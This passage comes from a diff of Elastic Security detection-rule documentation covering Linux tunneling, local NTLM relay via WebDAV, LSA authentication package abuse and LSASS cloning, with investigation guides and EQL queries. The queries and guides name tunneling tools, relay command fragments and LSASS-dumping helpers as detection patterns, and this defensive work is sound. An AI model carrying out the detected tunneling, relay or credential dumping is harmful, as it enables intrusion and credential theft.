whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} + - !{osquery{"label":"Osquery - Retrieve Process Info","query":"SELECT name, cmdline, parent, path, uid FROM processes"}} +- Investigate other alerts associated with the user/host during the past 48 hours. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + + +*Related rules* + + +- Potential Linux Tunneling and/or Port Forwarding via Command Line - 8c8df61f-ed2a-4832-87b8-ee30812606e0 +- Potential Protocol Tunneling via Chisel Client - 3f12325a-4cc6-410b-8d4c-9fbbeb744cfd +- Potential Protocol Tunneling via Chisel Server - ac8805f6-1e08-406c-962e-3937057fa86f +- Potential Protocol Tunneling via EarthWorm - 9f1c4ca3-44b5-481d-ba42-32dc215a2769 +- Suspicious Utility Launched via ProxyChains - 6ace94ba-f02c-4d55-9f53-87d99b6f9af4 +- ProxyChains Activity - 4b868f1f-15ff-4ba3-8c11-d5a7a6356d37 + + +*False positive analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator or developer who uses port tunneling/forwarding for benign purposes, consider adding exceptions for specific user accounts or hosts. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors, such as reverse shells, reverse proxies, or droppers, that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and ( + ( + // gost & pivotnacci - spawned without process.parent.name + (process.name == "gost" and process.args : ("-L*", "-C*", "-R*")) or (process.name == "pivotnacci")) or ( + // ssh + (process.name == "ssh" and ( + ( + /* exact tunnel argument matching */ + process.args in ("-R", "-L", "-D", "-w") or + /* single-dash token, first letter is NOT o/O, contains one of R/L/D/w/W somewhere later */ + process.args regex "-[A-NP-Za-np-z][A-Za-z]*[RLDwW][A-Za-z]*" + ) and + process.args_count >= 4 and + not ( + process.args == "chmod" or process.command_line like "*rungencmd*" + ) + )) or + (process.name == "ssh" and process.args == "-J") or + // sshuttle + (process.name == "sshuttle" and process.args in ("-r", "--remote", "-l", "--listen") and process.args_count >= 4) or + // socat + (process.name == "socat" and process.args : ("TCP4-LISTEN:*", "SOCKS*") and process.args_count >= 3) or + // chisel + (process.name : "chisel*" and process.args in ("client", "server")) or + // iodine(d), dnscat, hans, ptunnel-ng, ssf, 3proxy & ngrok + (process.name in ("iodine", "iodined", "dnscat", "hans", "hans-ubuntu", "ptunnel-ng", "ssf", "3proxy", "ngrok", "wstunnel")) + ) and process.parent.name in ("bash", "dash", "ash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-local-ntlm-relay-via-http.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-local-ntlm-relay-via-http.asciidoc new file mode 100644 index 0000000000..f54c2d78db --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-local-ntlm-relay-via-http.asciidoc @@ -0,0 +1,201 @@ +[[prebuilt-rule-8-19-34-potential-local-ntlm-relay-via-http]] +=== Potential Local NTLM Relay via HTTP + +Identifies attempts to coerce local NTLM authentication over HTTP through WebDAV named-pipe paths such as Print Spooler or SRVSVC. Adversaries can combine this primitive with relay tooling to elevate privileges. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/med0x2e/NTLMRelay2Self +* https://github.com/topotam/PetitPotam +* https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Local NTLM Relay via HTTP* + + + +*Possible investigation steps* + + +- Does the alert-local command line confirm WebDAV-to-named-pipe relay behavior? + - Focus: `process.command_line` and `process.executable`; confirm rundll32.exe loads davclnt.dll,DavSetCookie and targets HTTP pipe paths: /print/pipe/, /pipe/spoolss, or /pipe/srvsvc. + - Implication: escalate when one command combines DavSetCookie with HTTP named-pipe paths, matching NTLMRelay2Self and printerbug-style coercion; close only when exact `process.command_line`, `user.id`, and `host.id` tie to authorized relay testing or explicit WebDAV/print diagnostics intentionally exercising this path. + +- Is the binary identity and launch chain consistent with the relay context? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.code_signature.subject_name`, `process.parent.executable`, and `process.parent.command_line`. + - Implication: escalate when rundll32.exe is renamed, outside a Windows system path, launched by a script, document, remote-management, or user-writable parent, or signer-mismatched; lower suspicion only when identity and parent chain match the authorized test or diagnostic workflow. Identity alone does not clear relay behavior. + +- Did the process contact the HTTP listener implied by the relay path? + - Focus: if endpoint network telemetry exists, recover process network events with `host.id` plus `process.entity_id`; fallback to `host.id` plus `process.pid` in a tight window. Read DNS via `dns.question.name`; connections via `destination.ip` and `destination.port`. !{investigate{"description":"","label":"Network events for the relay process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: compare destinations to the HTTP host in `process.command_line`; loopback, same-host aliases, private listeners, or unexpected external HTTP infrastructure are decisive. + - Implication: escalate when traffic reaches the listener named by the relay command or an unexplained HTTP endpoint. Missing endpoint network or DNS telemetry is unresolved, not benign. + +- Did authentication events explain the local rundll32 session or relay follow-on? + - Why: the process alert proves relay intent; Windows Security events can explain the operator session, while relay proof may surface as inbound NTLM on this host, target-host authentication, or DC-side validation. + - Focus: for local session context, bridge `process.Ext.authentication_id` to same-host `winlog.event_data.TargetLogonId`; on 4624, read `winlog.event_data.AuthenticationPackageName` and `source.ip`. !{investigate{"description":"","label":"Windows Security events for the local process session","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetLogonId","queryType":"phrase","value":"{{process.Ext.authentication_id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{process.Ext.authentication_id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4648","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} + - Hint: for relay proof, search same-host inbound NTLM without `user.id`, target-host 4624/4625, and DC-side 4776 using the listener, reconstructed targets, or source addresses from command/network evidence. Search 4648 on `winlog.event_data.SubjectLogonId` only for explicit credentials from the local session. + - Implication: escalate when the local session origin is unexplained, same-host inbound NTLM appears around the alert, or target/DC authentication shows coerced machine or service-account use tied to the listener or targets. Missing authentication telemetry is unresolved, not benign. + +- Is there follow-on execution, tooling, or repeated coercion around the process? + - Focus: child processes where `process.parent.entity_id` matches `process.entity_id`, reading `process.Ext.token.integrity_level_name`; if endpoint file telemetry exists, recover files with `host.id` plus `process.entity_id`, or `host.id` plus `process.pid` in a tight window, then read `file.path`. !{investigate{"description":"","label":"Child process events for the relay process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: look for command lines or artifacts naming PetitPotam, printerbug, NTLMRelay2Self, ntlmrelayx, shadow credentials, RBCD, or WebClient/Print Spooler preparation. + - Implication: escalate when the window shows dropped tools, secondary scripts, repeated rundll32.exe relay attempts, privileged child processes, or WebClient/Print Spooler preparation. Missing endpoint file telemetry limits corroboration, not the alert-local finding. + +- If local evidence is suspicious or unresolved, do related alerts change scope? + - Focus: related alerts for `user.id` covering credential access, relay testing, privilege escalation, or lateral movement. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: compare related alerts for `host.id` for spooler abuse, WebClient activity, remote execution, NTLM relay, or coercion patterns. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden when either pivot shows repeated relay/coercion or credential-access activity outside the authorized test or diagnostic; keep local when both stay confined to that activity. + +- Escalate when relay-path arguments plus binary lineage, listener contact, NTLM/auth evidence, follow-on tooling, or related alerts indicate unauthorized relay; close only when alert-local evidence and supported recovery fit one authorized workflow; preserve and escalate if evidence is mixed or incomplete. + + +*False positive analysis* + + +- Authorized red-team, purple-team, relay-lab validation, or explicit WebDAV/print diagnostics can trigger this rule. Confirm that `process.command_line`, `process.parent.executable`, `user.id`, `host.id`, destination evidence if available, and authentication evidence all align with that activity. Routine WebDAV or print troubleshooting is insufficient unless it explains the DavSetCookie-to-HTTP-pipe pattern. +- Without workflow records, require a telemetry-only match across prior alerts from this rule: same `process.parent.executable`, exact `process.command_line` pattern, `user.id`, `host.id`, and supported destination or authentication pattern. Build exceptions only from that full workflow; avoid exceptions on rundll32.exe, davclnt.dll, or the pipe path alone. + + +*Response and remediation* + + +- If confirmed benign, release temporary containment and document the workflow anchors: `process.executable`, `process.parent.executable`, exact `process.command_line`, `user.id`, `host.id`, and the recovered destination or authentication evidence. Create an exception only when the same full workflow recurs across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the alert details, `process.entity_id` or `process.pid`, `process.command_line`, `process.parent.command_line`, process tree, recovered network or DNS records, Windows Security records, and file artifacts before containment. Apply reversible containment first, such as temporary HTTP/WebDAV restrictions or heightened monitoring on the host; isolate only if repeated relay attempts, corroborating NTLM activity, follow-on execution, or exposure on a domain controller, print server, or jump host raises the risk and the asset can tolerate isolation. +- If confirmed malicious, preserve the command line, process tree, listener details, authentication records, and dropped artifacts first. Then isolate the host through endpoint response when the evidence establishes unauthorized relay, and kill or suspend the responsible process if it is still active. Block confirmed malicious listeners, path fragments, hashes, or follow-on tools before cleanup. +- If investigation shows successful relay or privileged machine/service-account use, review and rotate affected credentials or secrets according to privilege tier, and coordinate disruptive identity or infrastructure changes before acting on domain controllers, print servers, or jump hosts. +- Before eradication, scope the same command fragment, listener, `user.id`, `host.id`, authentication indicators, and adjacent tooling across other hosts and sessions so evidence is not destroyed before spread is understood. Then remove the relay tooling and harden the exposed path, including unnecessary WebClient or Print Spooler exposure, NTLM relay mitigations, and service-specific controls identified during the investigation. +- Post-incident hardening: retain process, endpoint network, endpoint file, and Windows Security telemetry needed for this correlation, and document adjacent PetitPotam, printerbug, NTLMRelay2Self, or alternate coercion evidence for future triage. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "rundll32.exe" and + + /* Rundll32 WbeDav Client */ + process.args : ("?:\\Windows\\System32\\davclnt.dll,DavSetCookie", "?:\\Windows\\SysWOW64\\davclnt.dll,DavSetCookie") and + + /* Access to named pipe via http */ + process.args : ("http*/print/pipe/*", "http*/pipe/spoolss", "http*/pipe/srvsvc") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Forced Authentication +** ID: T1187 +** Reference URL: https://attack.mitre.org/techniques/T1187/ +* Technique: +** Name: Exploitation for Credential Access +** ID: T1212 +** Reference URL: https://attack.mitre.org/techniques/T1212/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-lsa-authentication-package-abuse.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-lsa-authentication-package-abuse.asciidoc new file mode 100644 index 0000000000..e7714c482f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-lsa-authentication-package-abuse.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-34-potential-lsa-authentication-package-abuse]] +=== Potential LSA Authentication Package Abuse + +Adversaries can use the autostart mechanism provided by the Local Security Authority (LSA) authentication packages for privilege escalation or persistence by placing a reference to a binary in the Windows registry. The binary will then be executed by SYSTEM when the authentication packages are loaded. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-m365_defender.event-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential LSA Authentication Package Abuse* + + +The Local Security Authority (LSA) in Windows manages authentication and security policies. Adversaries exploit LSA by modifying registry paths to include malicious binaries, which are executed with SYSTEM privileges during authentication package loading. The detection rule identifies unauthorized registry changes by non-SYSTEM users, signaling potential privilege escalation or persistence attempts. + + +*Possible investigation steps* + + +- Review the registry change event details to identify the specific binary path added to the LSA Authentication Packages registry key. +- Investigate the user account associated with the registry change event to determine if it is a legitimate user or potentially compromised. +- Check the timestamp of the registry modification to correlate with any other suspicious activities or events on the system around the same time. +- Analyze the binary referenced in the registry change for any known malicious signatures or behaviors using antivirus or threat intelligence tools. +- Examine system logs and security events for any signs of privilege escalation or persistence techniques used by the adversary. +- Assess the system for any additional unauthorized changes or indicators of compromise that may suggest further malicious activity. + + +*False positive analysis* + + +- Legitimate software installations or updates may modify the LSA authentication package registry path. Users should verify if recent installations or updates coincide with the detected changes and consider excluding these specific software processes if they are deemed safe. +- System administrators or IT management tools might perform authorized changes to the registry for maintenance or configuration purposes. Users can create exceptions for known administrative tools or processes that are regularly used for legitimate system management tasks. +- Security software or endpoint protection solutions may alter the registry as part of their normal operation. Users should identify and whitelist these security applications to prevent unnecessary alerts. +- Custom scripts or automation tools used within the organization might inadvertently trigger this rule. Users should review and document these scripts, ensuring they are secure, and exclude them if they are confirmed to be non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes associated with the unauthorized registry change to halt potential malicious activity. +- Restore the modified registry path to its original state by removing any unauthorized entries in the LSA Authentication Packages registry key. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious binaries or remnants. +- Review and reset credentials for any accounts that may have been compromised, focusing on those with elevated privileges. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for registry changes, particularly those involving LSA authentication packages, to detect and respond to similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.path : ( + "HKLM\\SYSTEM\\*ControlSet*\\Control\\Lsa\\Authentication Packages", + "\\REGISTRY\\MACHINE\\SYSTEM\\*ControlSet*\\Control\\Lsa\\Authentication Packages" + ) and + /* exclude SYSTEM SID - look for changes by non-SYSTEM user */ + not user.id : "S-1-5-18" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Authentication Package +** ID: T1547.002 +** Reference URL: https://attack.mitre.org/techniques/T1547/002/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Authentication Package +** ID: T1547.002 +** Reference URL: https://attack.mitre.org/techniques/T1547/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-lsass-clone-creation-via-psscapturesnapshot.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-lsass-clone-creation-via-psscapturesnapshot.asciidoc new file mode 100644 index 0000000000..7103b5cbab --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-lsass-clone-creation-via-psscapturesnapshot.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-34-potential-lsass-clone-creation-via-psscapturesnapshot]] +=== Potential LSASS Clone Creation via PssCaptureSnapShot + +Identifies the creation of an LSASS process clone via PssCaptureSnapShot where the parent process is the initial LSASS process instance. This may indicate an attempt to evade detection and dump LSASS memory for credential access. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/ +* https://medium.com/@Achilles8284/the-birth-of-a-process-part-2-97c6fb9c42a2 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential LSASS Clone Creation via PssCaptureSnapShot* + + + +*Possible investigation steps* + + +- Does the alert-local 4688 event show the LSASS-clone pattern? + - Focus: `event.code`, `process.executable`, `process.parent.executable`, `host.id`, `@timestamp`. + - Implication: treat the alert as clone creation when both paths resolve to lsass.exe on one host; lower suspicion only when the tuple maps to stable EDR, forensic, or debugging workflow. + - Hint: pivot with `host.id` plus `process.entity_id`; if absent, use `host.id`, `process.pid`, and a tight alert-time window. + +- Do surrounding 4688 events reveal the setup or dump-conversion chain? + - Focus: same-host 4688 around `@timestamp`, especially `process.executable`, `process.command_line`, `process.parent.executable`, `user.id`, and terms such as "PssCaptureSnapshot", "MiniDumpWriteDump", "comsvcs", "rundll32", "WerFault", "procdump", "createdump", archive utilities, or cleanup commands. !{investigate{"description":"","label":"Same-host 4688 process creation events","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4688","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when shells, PowerShell, dump helpers, archive tools, cleanup, or remote-admin launchers appear without the same recognized collection workflow; absence of helpers leaves the clone unresolved, not benign. + +- If file telemetry exists, did the clone create dumps, archives, or renamed outputs? + - Focus: same-host file or child-process telemetry for `file.path`, `file.Ext.original.path` matching ".dmp", ".zip", ".7z", or renamed outputs. !{investigate{"description":"","label":"File activity on the affected host","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}}. If unavailable, use surrounding 4688 commands with output files or archive utilities. + - Implication: escalate when dump paths, archive names, or cleanup commands appear around clone creation. Missing file telemetry is unresolved, not benign. + +- Do authentication events show follow-on remote use, explicit credentials, or unusual logons? + - Why: clone creation often precedes credential use; later auth can show post-dump pivoting. + - Focus: same-host 4624, 4648, and 4625 around `@timestamp`, using `winlog.event_data.TargetUserName`, `winlog.logon.type`, and `source.ip`. !{investigate{"description":"","label":"Authentication events on the affected host","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4648","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4625","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the host or user quickly shows new remote-interactive, service, or explicit-credential logons from unusual sources. If auth telemetry is missing, record the gap and keep the finding unresolved. + +- Does same-user or same-host activity repeat the evidence pattern? + - Focus: same-user 48h alerts for helper commands, dump/archive names, or post-clone authentication. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if user scope is sparse or the host is shared, review same-host alerts for process, output, and authentication evidence. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when helper-command, output, or authentication patterns repeat around clone windows; no repeat keeps response local but does not clear the clone. + +- Escalate for unauthorized LSASS clone creation, dump preparation, post-clone credential use, or clone creation on domain controllers, jump hosts, or privileged admin systems; close only when the alert tuple and recovery evidence bind to one recognized EDR, forensic, or debugging workflow with no conflicting dump-conversion, output, or authentication evidence; preserve artifacts and escalate when answers are mixed or visibility is incomplete. + + +*False positive analysis* + + +- Recognized EDR/forensic collection or bounded lab validation can create snapshot-based clones. Require the alert tuple, helper command line, `user.id`, `host.id`, dump-output pattern, and no unexpected 4624 or 4648 activity inside that workflow; use records only to corroborate unresolved telemetry. +- Before creating an exception, validate that the same `host.id` and `user.id` cohort repeats the same process identity, helper-command, output-path, and authentication pattern across prior alerts from this rule. Avoid exceptions on "lsass.exe", `event.code`, or `host.id` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the collection workflow identity, launcher path, actor, host scope, dump-output pattern, and follow-on authentication pattern. Create an exception only if that pattern recurs across prior alerts. +- If suspicious but unconfirmed, preserve the alert 4688 event, surrounding helper-process events, command lines, dump/archive paths, rename evidence, affected identities, and post-clone authentication records before containment. Apply reversible containment first, such as heightened monitoring or temporary restrictions on remote admin access; escalate to host isolation only when dump artifacts or post-clone authentication confirm likely credential exposure and the host role can tolerate interruption. +- If confirmed malicious, preserve the alert event, helper-process chain, dump/archive paths, rename evidence, and affected identities before containment. Then isolate the host through endpoint response; if unavailable, escalate with preserved evidence. Block confirmed remote-auth or transfer sources before cleanup. +- On domain controllers, jump 